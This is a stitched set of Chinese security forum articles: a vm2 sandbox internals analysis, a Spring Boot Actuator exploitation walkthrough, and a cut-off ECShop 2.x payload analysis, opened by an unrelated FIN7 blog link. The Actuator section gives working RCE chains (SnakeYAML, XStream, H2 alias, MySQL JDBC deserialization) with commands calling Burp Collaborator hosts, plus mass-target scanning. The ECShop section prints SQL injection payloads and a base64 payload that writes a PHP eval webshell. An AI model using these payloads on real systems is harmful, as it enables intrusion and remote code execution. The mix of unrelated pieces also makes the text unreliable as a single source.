<https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns> | 社区文章 |
# vm2实现原理分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前言：vm是nodejs实现的一个沙箱环境，但是官方文档并不推荐使用vm来运行不可信任的代码，vm2则是一个npm包，在vm的基础上，通过es6新增的代理机制，来拦截对外部属性的访问，那么这个沙箱是否安全呢？本文针对vm2的实现原理，从源码的层面进行分析，看vm2究竟做了些什么。
## vm API
vm2是在vm的基础上实现的沙箱，所以内部调用的还是vm的API，在vm中运行一个沙箱环境：
相应的代码：
const vm = require('vm');
const context = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";'); //编译code
vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {
script.runInContext(context); // 在指定的下文里执行code并返回其结果
}
console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }
将代码编译为 `script`，然后创建一个上下文 `vm.createContext(context)` ，最后我们将编译好的脚本放在一个上下文中运行
`script.runInContext`
当然也可以不用那么麻烦，直接在沙箱中运行一段代码
const vm = require("vm");
console.log(vm.runInNewContext("let a = 2;a")); //2
如果不提供上下文变量，那么vm会自己创建一个隔离的上下文context。
显而易见，vm中最关键的就是 上下文`context` ，vm能逃逸出来的原理也就是因为 `context` 并没有拦截针对外部的
`constructor` 和 `__proto__`等属性 的访问
## vm2 API
`vm2`的代码包中主要有四个文件 `cli.js`,`contextify.js`,`main.js` 和 `sandbox.js`
* `cli.js` 实现vm2的命令行调用
* `contextify.js` 封装了三个对象， `Contextify` 和 `Decontextify` ，并且针对 global 的Buffer类进行了代理
* `main.js` vm2执行的入口，导出了 `NodeVM`, `VM` 这两个沙箱环境，还有一个 `VMScript` 实际上是封装了 `vm.Script`
* `sadbox.js`针对 `global` 的一些函数和变量进行了hook，比如 `setTimeout`，`setInterval` 等
vm2相比vm做了很大的改进，其中之一就是利用了es6新增的 proxy 特性，从而拦截对诸如 `constructor` 和 `__proto__`
这些属性的访问
在vm2 中运行一段代码，如下
const {VM, VMScript} = require("vm2");
const script = new VMScript("let a = 2;a");
console.log((new VM()).run(script));
其中 VM 是vm2在vm的基础上封装的一个虚拟机，我们只需要实例化之后调用 `run` 方法即可运行一段脚本。
## vm2运行原理
vm2在运行代码的时候，会做如下事情，我们将上文的代码拆分开来。
const {VM, VMScript} = require("vm2");
const script = new VMScript("let a = 2;a");
let vm = new VM();
console.log(vm.run(script));
运行的代码和vm2对应的实现：
当我们创建一个VM的对象的时候，vm2内部引入了 `contextify.js`，并且针对上下文 `context` 进行了封装，最后调用
`script.runInContext(context)` ，可以看到，vm2最核心的操作就在于针对`context`的封装。
## vm2 是如何封装上下文的
> 注：由于vm2出现过多次逃逸的问题，所以现有的代码进行了大量的修改，为了方便分析vm2的实现原理，需要clone源码并且回退到 7ecabb1 使用
> `git reset --hard 7ecabb1` 即可回退
我们看到，vm2 引入了 `contextify.js` ，将 `vm.createContext`创建的上下文作为参数传入。
其中引入 `contextify.js` 的代码比较独特，是调用vm的API将 `contextify.js` 封装为一个匿名函数
Reflect.defineProperty(this, '_internal', {
value: vm.runInContext(`(function(require, host) { ${cf} n})`, this._context, {
filename: `${__dirname}/contextify.js`,
displayErrors: false
}).call(this._context, require, host)
});
`host` 传入需要用的一些对象
const host={version:parseInt(process.versions.node.split('.')[0]),console,String,Number,Buffer,Boolean,Array,Date,Error,RangeError,ReferenceError,SyntaxError,TypeError,RegExp,Function,Object,VMError,Proxy,Reflect,Map,WeakMap,Set,WeakSet,Promise};
那么vm2中的 `contextify.js` 究竟做了什么呢？
最开始定义了一些常量，并且在global和this上添加了相应的属性
// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;
// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);
Object.defineProperties(global, {
global: {value: global},
GLOBAL: {value: global},
root: {value: global},
isVM: {value: true}
});
由于是在函数体外部写了 return 语句，所以webstrom报错，但是实际上这段代码是会被封装到函数中的
function(host, require){...}
`Contextify` 和 `Decontextify` 都是两个 `WeakMap`
const Contextified = new host.WeakMap();
const Decontextified = new host.WeakMap();
WeakMap 是 es6
新增的语法，只接受对象作为键名，并且这些对象是不会被计入垃圾回收机制的，这是为了防止内存泄漏。稍后将会看到，这是用来存储已经被代理过的对象的。
我们看下第512行， `Contextify.readonly` 做了些什么
const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
allocUnsafe: function allocUnsafe(size) {
return this.alloc(size);
},
allocUnsafeSlow: function allocUnsafeSlow(size) {
return this.alloc(size);
}
});
函数调用图如下：
你可能会很好奇，为什么需要调用这么多层方法，最后返回的又是一个什么呢？
我们先来看最后一个调用的方法 `Contextify.object`,从这里可以很清楚地看到，最后返回了一个代理对象，并且其中还做了一个
`Object.assign` 的操作
`Object.assign` 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象。它将返回目标对象。
比如
const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };
const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }
也就是说 `source` 的b 会覆盖掉 target的 `b` 了
那么在上图的操作中， `deepTraps > traps > {get:..., set: ...}` (大于符号代表会覆盖)
那么我们来看下此时的 `deepTraps` 是什么
你会发现， `set, setPrototypeOf ..` 这些方法的返回值都是 false，也就是说当你去调用 `Buffer.a = 1`
的时候(会被代理的set方法拦截)，是无法成功的
那么此时的 `traps` 呢
这些方法倒是并不会返回false，但是也会在合并的时候，覆盖掉前一个对象的 `get和getPrototypeOf`
那至于之前调用的那么多方法，只是为了区分这个对象是哪种类型的，从而给它加上不同的 `deepTraps` ，到最后一个
`Contextify.object` 方法调用的时候，将它们合并。
最终，我们得到了这样一个 `Buffer` 代理对象，
这个 `Buffer` 代理拦截了如下操作
实际上这个 `Buffer` 本身还是nodesj提供的，但是vm2加了一层代理，所以在vm2的沙箱中访问它的属性时就会被设定的方法拦截
除此之外，`Contextify.object` 内部还使用了 `WeakMap` 来存储已经代理过的对象和对象的代理。
所以在vm2的沙箱环境中，如果是内部的对象，由于vm的实现机制保证了内部定义的对象无法逃逸。如果是外部引入的对象，由于vm2提供的代理机制拦截了
`constructor` 等属性的访问，从而在很大程度上保证了这个沙箱是安全的。
## 代码举例
为了更深入的了解vm2，我们来调试一段代码
测试方法,在 `main.js` 中编写如下代码：
const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;
// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);
console.log(new VM().run(script));
然后在 `sandbox.js` 中编写
let a = Buffer.from(""); //访问Buffer的from属性并调用
a.i = () => {}; //给对象添加属性
console.log(a.i); //访问对象的属性
这样可以在 `sandbox.js` 中下断点，方便调试运行在沙箱中的代码
前面已经提到 `Buffer` 是一个代理对象，访问其所有属性都会被拦截
其调用过程如下
我们看到，`Buffer` 代理对象访问其 `from` 属性，被代理的 `get` 方法拦截，经过层层的调用，最终返回一个函数代理对象
之后调用这个函数，就会被 `apply` 捕获到，拦截的方法如下：
apply: (target, context, args) => {
try {
context = Decontextify.value(context);
// Set context of all arguments to host's context.
return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
} catch (e) {
throw Contextify.value(e);
}
}
调用过程如下：
按照proxy的规范，target就是未代理之前的函数，context是函数当前运行的上下文，这里是 `Buffer` 的代理，args是函数的参数，这里是
`""`
这里调用了 `Decontextify.value` ，实际上 `Decontextify` 的实现和 `Contextify`
是对称的，只是略微有一点细节上的区别。`Decontextify.value` 首先会检查 `Contextified`
中是否有这个对象，如果有直接返回，否则也会针对其进行一层代理
从这个函数调用过程中我们看到，虽然vm2是针对很多对象都做了代理，但是当实际要发生一次函数调用的时候，必须要将代理的 “外壳”
给剥除掉，并且必须依靠nodejs提供的API来完成，而如果我们能够捕获到这个被剔除代理的对象，那么就能完成vm2的逃逸，这是vm2沙箱逃逸的核心原理
之后执行
a.i = () => {};
给a的属性i赋值，被代理的 `set` 方法拦截
这个时候的 `value` 是一个函数， `Decontextify.value` 针对其进行了封装，返回一个函数的代理，但是这个函数的代理中：
我们看到，如果我们访问这个函数代理对象的 `constructor` 属性，返回的是 `host.Function` !
那我们之后将其取出来是不是就能逃出沙箱了呢？
我们看最后一行代码
console.log(a.i); //访问对象的属性
此时a内部的i对象，实际上是一个函数的代理对象，当执行 `a.i` 时，会被代理对象a的 `get` 方法拦截
而不幸的是，vm2的作者显然考虑到了这一点，通过 `Contextify.value` ，取出被代理之前的对象，所以最终我们得到的还是原来的函数。
这样我们就无法获得那个被代理的函数对象了。但是这里终究是有隐患的，如果我们能够获得这个被代理的对象，那么就能借此逃溢出vm2沙箱。至于究竟如何做到，请看下文vm2沙箱逃逸分析 | 社区文章 |
# Spring Boot Actuator 未授权的测试与利用思路
## 0x0 前言
最近遇到的一个漏洞，但是因为目标关掉了一些端点导致没利用起来达到RCE的效果，不过在提升漏洞危害的时候，参考了不少文章，也做了一些尝试，所以分享出来自己的经历，希望大家如果遇到跟我一样的情况，可以省下自己调试时间，来做更有意义的事情。
## 0x1 Actuator 简介
官方简介: [Spring Boot Actuator: Production-ready
Features](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html)
> Spring Boot includes a number of additional features to help you monitor and
> manage your application when you push it to production. You can choose to
> manage and monitor your application by using HTTP endpoints or with JMX.
> Auditing, health, and metrics gathering can also be automatically applied to
> your application.
Actutator是一个生产环境部署时可使用的功能，用来监控和管理应用程序。支持选择HTTP Endpoints
或者JMX的方式来访问，同样支持查看应用程序的Auding,health和metrics信息。
## 0x2 部署环境
一般快速部署环境，我很喜欢参考官方的[Spring Quickstart
Guide](https://spring.io/quickstart),官方文档一般都很简洁，也是从新手角度写的的tutorial，故理解和实践起来非常简单。
快速开始没有Spring Boot 1.x的，所以1.x的版本我用Idea直接修改Maven的依赖来创建。
> 正如官方在2019.8.06所言,v1.5.22.RELEASE 是Spring Boot 1.x的最后一个版本。
>
> SpringBoot 2.0 发布时间则是2018.3.1,现在已经是2.6版本
故1.x版本从历史线上来说，是有可能出现在真实环境的，只不过暂时没遇到，所以纳入本文研究范围。
### 0x2.1 Spring Boot 2.x
1.打开<https://start.spring.io/>
2.选择如下配置，记得添加Spring Web、actutator依赖，然后点击"GENERATE"来生成。
3.解压然后用IDE加载，定位到DemoApplication.java文件，尝试添加新的方法，写完用option+command+L格式化一下(我很依赖这个功能，要不然代码很乱！)
> PS.我这里使用的是idea,为了出现代码提示,需要点击pom.xml然后导入依赖。
4.运行项目
命令行下:
mvn spring-boot:run
或者IDEA里面执行Run
5.设置其他端口,当时找了一圈没发现，下面是自己翻文档一些技巧。
Google Dork: `site:spring.io spring boot port 8080 change`
然后很快就能找到官方的[解决方案2.4](https://docs.spring.io/spring-boot/docs/current/reference/html/howto.html),通过在`applicaiton.properties`添加如下占位符即可设置custom
port。
server.port=${port:8100}
6.访问查看端点执行是否正常
如上图所示,搭建过程是成功的！
### 0x2.2 Spring Boot 1.x
修改Spring Boot版本为1.5.22.RELEASE即可
然后我们运行起来,浏览器进行查看。
可以看到两者暴露的端点的方式是不一样的。
## 0x3 Actuator 版本差异
比较全面且官方的差异:[Spring Boot 2.0 Configuration
Changelog](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Configuration-Changelog)
其中就包括了Actutator的一些配置的版本改变。
端点的使用:
<https://docs.spring.io/spring-boot/docs/current/actuator-api/htmlsingle/>
常见端点:
<https://docs.spring.io/spring-boot/docs/1.4.x/reference/htmlsingle/#production-ready-enabling>
<https://docs.spring.io/spring-boot/docs/1.5.x/reference/htmlsingle/#production-ready-enabling>
<https://docs.spring.io/spring-boot/docs/2.5.x/reference/htmlsingle/#actuator>
都可以在以上链接的`Endpoints`节看到，它们之间是存在差异的，有些端点我在真正启动1.4.x的Spring-boot是没有的。
下面几点是可以重点关注下的变化:
SpringBoot <= 1.5.x 以下,是不需要任何配置的，直接就可以访问到端点。
而如果1.5.x<=SpringBoot<=2.x, 那么默认是只能访问到`health`和`info`端点的
你访问其他端点是会提示:
那么开发为了访问到其他端点，会这样设置来关闭认证，允许其他端点未授权访问:
management.security.enabled=false
如果想要针对某个端点，比如`env`,则可以这样设置:
endpoints.env.sensitive=false
而相对更安全的是开启HTTP basic认证，这个时候可以尝试猜测下弱口令:
\- 添加依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
\- application.properties 添加用户名和密码
security.user.name=admin
security.user.password=123456
management.security.enabled=true
management.security.role=ADMIN
当SpringBoot>=2.x时，默认也是只能访问`/health`、`info`，但是访问的端点方式发生了改变，
相比于1.x版本的端点多了个前缀 `/actutator`,即如`/health` 变成了`/actuator/health`。
`Spring Boot Actuator` 针对于所有 endpoint 都提供了两种状态的配置
* enabled 启用状态。默认情况下除了 `shutdown` 之外，其他 endpoint 默认是启用状态。
* exposure 暴露状态。endpoint 的 enabled 设置为 true 后，还需要暴露一次，才能够被访问，默认情况下只有 health 和 info 是暴露的。
常见配置，见官方文档，下面以`shutdown`这个默认不启动端点来做说明:
1.开启端点
2.对外暴露端点
3.访问
* * *
还有个版本差异，就是设置管理端点的路径:
在1.x版本下，设置语句如下:
management.context-path =/manage
此时端点的访问方式就变为了:
/manage/dump
/manage/autoconfig
/manage/metrics
...
在2.x版本，设置语句如下:
management.endpoints.web.base-path=/manage
有些人可能喜欢将其命名为`monitor`,所以知道这个特点，我们可以适当丰富下自己的字典。
当然也支持对端点改名，但是这种情况比较少见,当做了解下,有时候走投无路的时候，去对着文档fuzz一次，也许也会有收获。
management.endpoints.web.path-mapping.health=healthcheck
## 0x4 漏洞利用
为了方便演示，启用的配置开启了所有端点未授权访问。
1.X
server.port=${port:8200}
endpoints.shutdown.enabled=true
endpoints.sensitive=false
management.security.enabled=false
2.x:
server.port=${port:8100}
management.endpoints.shutdown.enabled=true
management.endpoints.web.exposure.include=*
### 0x4.1 敏感信息泄露
**1.env 泄露配置信息**
2.x
http://127.0.0.1:8100/actuator/env
1.x
http://127.0.0.1:8200/env
> 端点作用:
>
> Exposes properties from Spring’s `ConfigurableEnvironment`.
这个端点会泄露Spring 的 ConfigurableEnvironment
公开属性，其中包括系统版本，环境变量信息、内网地址等信息，但是一些敏感信息会被关键词匹配，做隐藏*处理，但是如果开发的密码字段不规范，可能直接导致泄露数据库密码。
**2\. trace 泄露用户请求信息**
2.x
http://127.0.0.1:8100/actuator/trace
1.x
http://127.0.0.1:8200/trace
其他:
http://127.0.0.1:8200/httptrace
http://127.0.0.1:8200/actuator/httptrace
> 端点作用:
>
> Displays HTTP trace information (by default, the last 100 HTTP request-> response exchanges). Requires an `HttpTraceRepository` bean.
>
> 显示HTTP跟踪信息(默认情况下,最后的100 HTTP请求-响应交互)。
>
> 需要存在HttpTraceRepository bean。
通过这个我们可以获取到请求这个站点时的完整的http包，其中就可能包括正常用户的session，从而我们可以直接接管登录，如果遇到管理员的会话，那么危害就可能进一步扩大。
关于这个危害我还想说明一下，因为这个只是显示最近的100条数据，但是我们可以写脚本来持续监控。
**3.mappings 泄露路由信息**
2.x
http://127.0.0.1:8100/actuator/mappings
1.x
http://127.0.0.1:8200/mappings
> 端点作用:
>
> Displays a collated list of all `@RequestMapping` paths.
>
> 展示整理的@RequestMapping注解的路径列表。
**4.heapdump泄露堆栈信息**
2.x
http://127.0.0.1:8100/heapdump
1.x
http://127.0.0.1:8200/actuator/heapdump
> 端点作用:
>
> Returns an `hprof` heap dump file. Requires a HotSpot JVM.
>
> 返回一个hprof堆转储文件。需要HotSpot JVM。
这个在Spring
MVC架构中是可用的，会泄露出推栈信息，其中是可以窃取到一些关键的信息，比如一些关键的Key，或者数据库连接密码，但是扫描工具没把它列为扫描端点。
这个数据文件，我们可以用"Eclipse Memory Analyzer"内存分析工具,来搜索特殊字符，比如password、token等。
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
### 0x4.2 修改运行状态
**1.env 修改环境变量**
2.x
http://127.0.0.1:8100/actuator/env
1.x
http://127.0.0.1:8200/env
我们可以通过post请求来新增系统的全局变量，或者修改全局变量的值，这个如果修改数据库的链接，可以直接导致当前系统崩溃，结合其他漏洞，可能造成rce，这个点也蛮有意思，官方文档只说了GET的作用，却没有给出POST，但是网上有一些相关的开发教程涉及到这个。
curl -H "Content-Type:application/json" -X POST --data '{"name":"hello","value":"123"}' http://localhost:9097/actuator/env
**2.refresh 刷新**
2.x
http://127.0.0.1:8100/actuator/refresh
1.x
http://127.0.0.1:8200/refresh
这个我也没在文档或者是actuator的源码包中看到,说明这个端点是在其他依赖包注册的，emm。
这个端点的作用主要用于配置修改后的刷新，常用于结合/env+其他依赖用来触发漏洞。
**3.shutdown 关闭程序**
2.x
http://127.0.0.1:8100/actuator/shutdown
1.x
http://127.0.0.1:8200/shutdown
顾名思义用来关闭程序，这个端点一般不开放，一般也不会去测试，扫描器更加不可能将这个列为扫描端点，只能说存在这种风险吧。
不过有个判定的技巧，如果存在这个端点，可以先尝试GET请求，出现"Method Not Allowed"说明是存在的。
### 0x4.3 命令执行
下面关于命令执行，主要介绍这4种相对而言较为常见的利用，以及补充一些自己的遇到的坑点。
下面的环境，采用LandGrey师傅提供的环境。
git clone https://github.com/LandGrey/SpringBootVulExploit.git
cd SpringBootVulExploit/repository/
这里先说明下，下面的例子，因为靶机的Spring Boot 有些为1.0有些为2.0，所以请求的方式不太一样，
1.x的话，post的数据包是`key=value`,header则为:
-H 'Content-Type: application/x-www-form-urlencoded'
2.x的则是`{"name":"", "value":""}`,header则为:
-H 'Content-Type: application/json'
* * *
#### **1.spring cloud SnakeYAML RCE**
cd springcloud-snakeyaml-rce
mvn spring-boot:run
> * 目标依赖的 `spring-cloud-starter` 版本 \< 1.3.0.RELEASE
>
>
> 现在最新版本3.03,古老的洞了，基本很少遇到，遇到就是好用。
**(1)制作payload.jar文件**
下载payload
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload/src/artsploit
替换命令执行内容
sed -i "" 's/dig scriptengine.x.artsploit.com/curl c0dy0qcncknp8zpb5bir0jvt4kaayz.burpcollaborator.net/g' AwesomeScriptEngineFactory.java
编译
cd ../../
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf payload.jar -C src/ .
在该目录生成利用的example.yml文件,内容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9091/payload.jar"]
]]
]
web服务挂载
python3 -m http.server 9091
**(2) 利用**
curl -X POST --data 'spring.cloud.bootstrap.location=http://127.0.0.1:9091/example.yml' localhost:9092/env
刷新即可成功触发
curl -X POST localhost:9092/refresh
* * *
#### **2.eureka xstream deserialization RCE**
cd springboot-eureka-xstream-rce
mvn spring-boot:run
> 影响版本: eureka-client < 1.8.7
>
> 目前最新版:3.03
**(1)编写利用脚本**
#!/usr/bin/env python
# coding: utf-8
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
command = "curl i5o45whthqsvd5uhahnx5p0z9qfh36.burpcollaborator.net"
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>{command}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>""".format(command=command)
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8090)
**(2)设置 eureka.client.serviceUrl.defaultZone 属性**
*有的话这里要先记录下本来的属性值
curl -H 'Content-Type: application/x-www-form-urlencoded' -X POST --data "eureka.client.serviceUrl.defaultZone=http://127.0.0.1:8090/xxxxxsuibiantianxx" http://localhost:9093/env
成功设置,如下图所示:
**(3) 触发**
curl -X POST http://localhost:9093/refresh
成功执行请求，也执行了命令。
* * *
**(4)恢复 eureka.client.serviceUrl.defaultZone**
如果不恢复的话，那么就会一直执行，系统也会一直报错。
curl -H 'Content-Type: application/x-www-form-urlencoded' -X POST --data "eureka.client.serviceUrl.defaultZone="原先的值" http://localhost:9093/env
然后刷新，使用新配置
curl -X POST http://localhost:9093/refresh
* * *
#### **3.restart h2 database query RCE**
cd springboot-h2-database-rce
mvn spring-boot:run
> 影响版本:(未知) 我改了配置文件，直接用了最新版的来做演示
>
> 目前最新版:1.4.200
**(1) 设置spring.datasource.hikari.connection-test-query**
cmd.json:
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/sh','-c','curl 0bcmbenbn8ydjn0zgztfb76hf8l29r.burpcollaborator.net');"}
curl -H "Content-Type:application/json" -X POST -d @/tmp/cmd.json http://localhost:9096/actuator/env
成功设置.
**(2) 触发RCE**
curl -H "content-Type: application/json" -X POST http://localhost:9096/actuator/restart
过程出现了如下错误，执行完一次，需要新创建个其他函数，或者先删除掉。:
sed -i "" s/T5/T6/g /tmp/cmd.json
同时要注意，命令执行linux和window的区别。如图所示，可以成功RCE
* * *
#### **4.mysql jdbc deserialization RCE**
cd springboot-mysql-jdbc-rce
mvn spring-boot:run
运行之前,需要配置一下数据库连接，要不然运行会失败的，这里我启用了我本地的mysql。
查看下pom.xml的mysql-connector-java的依赖为8.0.12,cc依赖为3.2.1:
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
先访问:<http://localhost:9097/actuator/env>
记录好原先的`spring.datasource.url`:
[application.properties]:6:43"},"spring.datasource.url":{"value":"jdbc:mysql://127.0.0.1:3306/test","origin":"class path resource
利用ysoserial生成反序列化payload:
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections3 'curl rb617n72nqnqaj8ijbiw36v7nytohd.burpcollaborator.net' > payload.ser
下载rce.py脚本:
wget --no-check-certificate https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py
编辑下脚本的端口3306为3307，避开本机的3306冲突。
**(1)修改变量**
value的值，mysql8.x填入:
jdbc:mysql://127.0.0.1:3307/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
如果是5.x则是:
jdbc:mysql://127.0.0.1:3307/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
> 两者区别:
curl -H "Content-Type:application/json" -X POST --data '{"name":"spring.datasource.url","value":"jdbc url' http://localhost:9097/actuator/env
**(2)刷新配置**
curl -H "Content-Type:application/json" -X POST http://localhost:9097/actuator/refresh
这里也可以通过`restart`来触发。
curl -H "content-Type: application/json" -X POST http://localhost:9097/actuator/restart
**(3)访问数据库操作触发**
先监听3307，这里注意使用Py2，利用脚本不支持Py3，会出错。
python springboot-jdbc-deserialization-rce.py
接下来访问即可。
`curl http://localhost:9097/product/list`
关于这个，其实在真实环境中，都不用自己去触发，自带的其他操作都会导致进行数据库连接。
**(4)恢复Spring.datasource.url**
当我们获得RCE之后，前面记录的本来的jdbc url就可以还原回去了，操作如下。
curl -H "Content-Type:application/json" -X POST --data '{"name":"spring.datasource.url","value":"jdbc:mysql://127.0.0.1:3306/test' http://localhost:9097/actuator/env
最终，在测试过程，我发现，有请求访问伪造的mysql服务，但是Spring-boot进程却在序列化的过程中报错退出了，导致命令没有执行成功。
这个是jdk版本导致的，改用cc6来解决
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections6 ' open -a Calculator.app' > payload.ser
#### 5.More ...
还有很多关于这个利用，发现过程主要是Fuzz一些依赖暴露出的端点，然后深入利用，后面会掺杂来谈谈。
## 0x5 漏洞检测
(1) 收集目标，为了方便演示使用FoFa收集目标。
FOFA Dork: body="Whitelabel Error Page" && country="CN"
(2)使用SB-Actuator, 代码实现可以自己去尝试改进下，第二个选择是nuclei但是没这个覆盖全面,但是支持自己继续定义。
git clone https://github.com/rabbitmask/SB-Actuator.git
(3) 检测结果
获取1w的目标，然后http检测保存为200.txt
cat target.txt | httpx -o 200.txt
接着执行`python3 SB-Actuator.py -f 200.txt`,结果如下所示:
这种针对性检测的话，成功率本身就是比较高的，但是测试的时候记得要授权，遵纪守法!
## 0x6 总 结
本文偏实践化，先从Actutator介绍开篇到讨论其版本差异，然后提出了3种类型的漏洞利用思路，最后，介绍了实践中如何使用检测该漏洞的自动化工具。其中，有几个问题是我没有解决的(先留个悬念)，但是可以通过阅读actuator的源码来解决，放在下篇文章中，还有就是关于命令执行也较为常见的jolokia端点、其他依赖端点等没有进行讨论，这个我也想放在偏从源代码分析原理的文章中。总的来说，java的研究还是少数人，很多问题需要自己去读源码来解决，这个需要一定的时间作为基础，但是这个前后就花了不少时间，这个过程相比于阅读源代码来说虽然时间短一些，但是非常枯燥和容易产生很多困惑。
## 0x7 参考链接
[Spring Boot & Actuator](https://www.jianshu.com/p/14d10481845e)
[Spring Boot Vulnerability Exploit Check
List](https://github.com/LandGrey/SpringBootVulExploit)
[Spring Boot Actuator详解与深入应用（一）：Actuator
1.x](https://juejin.cn/post/6844903715556556807)
[警惕 Spring Boot Actuator 引发的安全漏洞](https://www.cnkirito.moe/spring-boot-actuator-notes/)
[Exploiting Spring Boot
Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
[Spring Boot Actuator(eureka xstream deserialization
RCE)漏洞测试及修复](https://forum.butian.net/share/135) | 社区文章 |
### 前言
最近爆出的ECShop的两个漏洞很火，本篇文章就网络上爆出的payload进行分析，并记录其中自己的一些思考，具体的漏洞不会详细分析，因为这类分析文章已经有很多了，如果你想了解，可以看结尾处的相关文章。
### ECShop2.x
下面以2.7.3版本为例，我们先来看网络上最早爆出来 **注入的payload** ：
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
这个payload还原回去，对应的SQL语句如下：
然而这种payload有点鸡肋，因为在版本稍微高一点的mysql中， **procedure analyse** 语句中不能再跟 **select**
语句。看 **P牛** 转载的 [这篇](https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html)文章中，mysql版本为 **5.5.41-0ubuntu0.14.04.1** ，是可以跟
**select** 语句的：
而我用 **phpstudy** 中mysql版本为 **5.5.53** ，使用该语句却爆语法错误：
所以猜测应该是和版本有关，或者说 **procedure analyse** 语句还有其他的注入写法，知道的师傅还请告诉我：)
既然这种 **payload** 不能爆出表名、列名，我们就要换个思路。仔细观察 **ECShop**
存在注入处的源码，实际上可控制的拼接参数有两个，分别是： **$arr['id']** 和 **$arr['num']** ，所以我们大可在
**$arr['id']** 处注入 **payload** (这里直接用 **#** 号)，直接注释掉后面的 **ORDER BY** 语句。
所以我构造的 **payload** 如下，可以成功爆出表名和列名：
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1' and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";}
当然，同时利用 **$arr['id']** 和 **$arr['num']** 两个参数，引入 **/**/** 将 **ORDER BY**
语句注释掉也是可以的：
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";}
再来看 **命令执行的payload** ：
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
当中的16进制对应字符串如下：
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
这个命令执行的关键点，还是利用了之前的注入点，同样引入了 **/**/** 将 **ORDER BY** 语句给注释掉。当中，payload会经过
**includes/cls_template.php** 文件的这条语句：
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
